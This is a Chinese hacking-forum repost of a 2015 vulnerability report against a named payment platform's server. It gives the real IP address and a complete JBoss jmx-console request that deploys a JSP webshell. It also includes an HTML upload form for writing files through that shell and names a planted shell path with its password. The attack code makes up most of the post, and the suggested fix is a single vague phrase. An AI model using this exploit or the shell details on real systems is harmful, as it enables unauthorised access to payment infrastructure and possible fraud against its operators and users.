搜索
查看: 755|回复: 1

某联支付平台绕过域名转跳未授权访问导致getshell(各种充值)

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2015-11-17 22:35:05 | 显示全部楼层 |阅读模式
转载备份






易票联支付主页:


http://www.epaylinks.cn/www/index.jsp


如果访问http://www.epaylinks.cn/jmx-console/会出现错误信息,

那如果使用IP访问呢?



直接进入JBoss 可直接getshell。



http://210.21.94.48/为易票联支付同一服务器,通过以下方法getshell
  1. http://210.21.94.48/jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=upload5warn.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25+if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b+%25%3e&argType=boolean&arg4=True
复制代码



以上访问会生成一个这样的路径文件“/upload5warn/shell.jsp”



再通过以下html可进行文件上传:

  1. <html>

  2. <head>

  3. <meta http-equiv="content-type" content="text/html;charset=utf-8">

  4. <title>jsp-test</title>

  5. </head>

  6. <style>

  7. .main{width:980px;height:600px;margin:0 auto;}

  8. .url{width:300px;}

  9. .fn{width:60px;}

  10. .content{width:80%;height:60%;}

  11. </style>

  12. <script>

  13.   function upload(){

  14.     var url = document.getElementById('url').value,

  15.       content = document.getElementById('content').value,

  16.       fileName = document.getElementById('fn').value,

  17.       form = document.getElementById('fm');

  18.     if(url.length == 0){

  19.       alert("Url not allowd empty!");

  20.       return ;

  21.     }

  22.     if(content.length == 0){

  23.       alert("Content not allowd empty!");

  24.       return ;

  25.     }

  26.     if(fileName.length == 0){

  27.       alert("FileName not allowd empty!");

  28.       return ;

  29.     }

  30.     form.action = url;

  31.     form.submit();

  32.   }

  33. </script>

  34. <body>

  35. <div class="main">

  36.   <form id="fm" method="post">  

  37.     URL:<input type="text" value="http://url/upload5warn/shell.jsp" class="url" id="url" />  

  38.     FileName:<input type="text" name="f" value="css.jsp" class="fn" id="fn" />  

  39.     <a href="javascript:upload();">Upload</a><br/>

  40.     <textarea id="content" class="content" name="t" ></textarea>

  41.   </form>

  42. </div>

  43. </body>

  44. </html>
复制代码
http://210.21.94.48/upload5warn/cssyun.jsp密码为:1


修复方案:

加强检测


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?Join BUC

x
过段时间可能会取消签到功能了
北鸳 该用户已被删除
发表于 2015-11-17 23:12:05 | 显示全部楼层
会来看看,顺便回个帖。
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表